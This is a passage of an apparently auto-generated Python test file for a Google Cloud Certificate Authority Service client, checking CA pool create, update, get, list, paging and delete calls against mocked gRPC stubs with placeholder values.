operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.update_certificate_authority( certificate_authority=resources.CertificateAuthority(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].certificate_authority mock_val = resources.CertificateAuthority(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val @pytest.mark.asyncio async def test_update_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.update_certificate_authority( service.UpdateCertificateAuthorityRequest(), certificate_authority=resources.CertificateAuthority(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.parametrize("request_type", [service.CreateCaPoolRequest, dict,]) def test_create_ca_pool(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.create_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_create_ca_pool_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: client.create_ca_pool() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCaPoolRequest() @pytest.mark.asyncio async def test_create_ca_pool_async( transport: str = "grpc_asyncio", request_type=service.CreateCaPoolRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.create_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_create_ca_pool_async_from_dict(): await test_create_ca_pool_async(request_type=dict) def test_create_ca_pool_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCaPoolRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: call.return_value = operations_pb2.Operation(name="operations/op") client.create_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_create_ca_pool_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCaPoolRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.create_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_create_ca_pool_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.create_ca_pool( parent="parent_value", ca_pool=resources.CaPool(name="name_value"), ca_pool_id="ca_pool_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].ca_pool mock_val = resources.CaPool(name="name_value") assert arg == mock_val arg = args[0].ca_pool_id mock_val = "ca_pool_id_value" assert arg == mock_val def test_create_ca_pool_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.create_ca_pool( service.CreateCaPoolRequest(), parent="parent_value", ca_pool=resources.CaPool(name="name_value"), ca_pool_id="ca_pool_id_value", ) @pytest.mark.asyncio async def test_create_ca_pool_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.create_ca_pool( parent="parent_value", ca_pool=resources.CaPool(name="name_value"), ca_pool_id="ca_pool_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].ca_pool mock_val = resources.CaPool(name="name_value") assert arg == mock_val arg = args[0].ca_pool_id mock_val = "ca_pool_id_value" assert arg == mock_val @pytest.mark.asyncio async def test_create_ca_pool_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.create_ca_pool( service.CreateCaPoolRequest(), parent="parent_value", ca_pool=resources.CaPool(name="name_value"), ca_pool_id="ca_pool_id_value", ) @pytest.mark.parametrize("request_type", [service.UpdateCaPoolRequest, dict,]) def test_update_ca_pool(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.update_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_update_ca_pool_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: client.update_ca_pool() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCaPoolRequest() @pytest.mark.asyncio async def test_update_ca_pool_async( transport: str = "grpc_asyncio", request_type=service.UpdateCaPoolRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.update_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_update_ca_pool_async_from_dict(): await test_update_ca_pool_async(request_type=dict) def test_update_ca_pool_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCaPoolRequest() request.ca_pool.name = "ca_pool.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: call.return_value = operations_pb2.Operation(name="operations/op") client.update_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "ca_pool.name=ca_pool.name/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_update_ca_pool_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCaPoolRequest() request.ca_pool.name = "ca_pool.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.update_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "ca_pool.name=ca_pool.name/value",) in kw[ "metadata" ] def test_update_ca_pool_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.update_ca_pool( ca_pool=resources.CaPool(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].ca_pool mock_val = resources.CaPool(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val def test_update_ca_pool_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.update_ca_pool( service.UpdateCaPoolRequest(), ca_pool=resources.CaPool(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.asyncio async def test_update_ca_pool_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.update_ca_pool( ca_pool=resources.CaPool(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].ca_pool mock_val = resources.CaPool(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val @pytest.mark.asyncio async def test_update_ca_pool_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.update_ca_pool( service.UpdateCaPoolRequest(), ca_pool=resources.CaPool(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.parametrize("request_type", [service.GetCaPoolRequest, dict,]) def test_get_ca_pool(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = resources.CaPool( name="name_value", tier=resources.CaPool.Tier.ENTERPRISE, ) response = client.get_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.GetCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CaPool) assert response.name == "name_value" assert response.tier == resources.CaPool.Tier.ENTERPRISE def test_get_ca_pool_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: client.get_ca_pool() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.GetCaPoolRequest() @pytest.mark.asyncio async def test_get_ca_pool_async( transport: str = "grpc_asyncio", request_type=service.GetCaPoolRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CaPool(name="name_value", tier=resources.CaPool.Tier.ENTERPRISE,) ) response = await client.get_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.GetCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CaPool) assert response.name == "name_value" assert response.tier == resources.CaPool.Tier.ENTERPRISE @pytest.mark.asyncio async def test_get_ca_pool_async_from_dict(): await test_get_ca_pool_async(request_type=dict) def test_get_ca_pool_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCaPoolRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: call.return_value = resources.CaPool() client.get_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_ca_pool_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCaPoolRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.CaPool()) await client.get_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_get_ca_pool_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = resources.CaPool() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_ca_pool(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_get_ca_pool_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_ca_pool( service.GetCaPoolRequest(), name="name_value", ) @pytest.mark.asyncio async def test_get_ca_pool_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = resources.CaPool() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.CaPool()) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_ca_pool(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_get_ca_pool_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_ca_pool( service.GetCaPoolRequest(), name="name_value", ) @pytest.mark.parametrize("request_type", [service.ListCaPoolsRequest, dict,]) def test_list_ca_pools(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = service.ListCaPoolsResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) response = client.list_ca_pools(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.ListCaPoolsRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCaPoolsPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] def test_list_ca_pools_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: client.list_ca_pools() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.ListCaPoolsRequest() @pytest.mark.asyncio async def test_list_ca_pools_async( transport: str = "grpc_asyncio", request_type=service.ListCaPoolsRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCaPoolsResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) ) response = await client.list_ca_pools(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.ListCaPoolsRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCaPoolsAsyncPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] @pytest.mark.asyncio async def test_list_ca_pools_async_from_dict(): await test_list_ca_pools_async(request_type=dict) def test_list_ca_pools_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCaPoolsRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: call.return_value = service.ListCaPoolsResponse() client.list_ca_pools(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_ca_pools_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCaPoolsRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCaPoolsResponse() ) await client.list_ca_pools(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_list_ca_pools_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = service.ListCaPoolsResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_ca_pools(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val def test_list_ca_pools_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_ca_pools( service.ListCaPoolsRequest(), parent="parent_value", ) @pytest.mark.asyncio async def test_list_ca_pools_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = service.ListCaPoolsResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCaPoolsResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_ca_pools(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val @pytest.mark.asyncio async def test_list_ca_pools_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_ca_pools( service.ListCaPoolsRequest(), parent="parent_value", ) def test_list_ca_pools_pager(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: # Set the response to a series of pages. call.side_effect = ( service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),], next_page_token="abc", ), service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(),], next_page_token="ghi", ), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(),], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)), ) pager = client.list_ca_pools(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, resources.CaPool) for i in results) def test_list_ca_pools_pages(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call: # Set the response to a series of pages. call.side_effect = ( service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),], next_page_token="abc", ), service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(),], next_page_token="ghi", ), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(),], ), RuntimeError, ) pages = list(client.list_ca_pools(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_ca_pools_async_pager(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_ca_pools), "__call__", new_callable=mock.AsyncMock ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),], next_page_token="abc", ), service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(),], next_page_token="ghi", ), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(),], ), RuntimeError, ) async_pager = await client.list_ca_pools(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all(isinstance(i, resources.CaPool) for i in responses) @pytest.mark.asyncio async def test_list_ca_pools_async_pages(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_ca_pools), "__call__", new_callable=mock.AsyncMock ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),], next_page_token="abc", ), service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(),], next_page_token="ghi", ), service.ListCaPoolsResponse( ca_pools=[resources.CaPool(), resources.CaPool(),], ), RuntimeError, ) pages = [] async for page_ in (await client.list_ca_pools(request={})).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.parametrize("request_type", [service.DeleteCaPoolRequest, dict,]) def test_delete_ca_pool(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.delete_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_delete_ca_pool_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: client.delete_ca_pool() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCaPoolRequest() @pytest.mark.asyncio async def test_delete_ca_pool_async( transport: str = "grpc_asyncio", request_type=service.DeleteCaPoolRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.delete_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCaPoolRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_delete_ca_pool_async_from_dict(): await test_delete_ca_pool_async(request_type=dict) def test_delete_ca_pool_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = 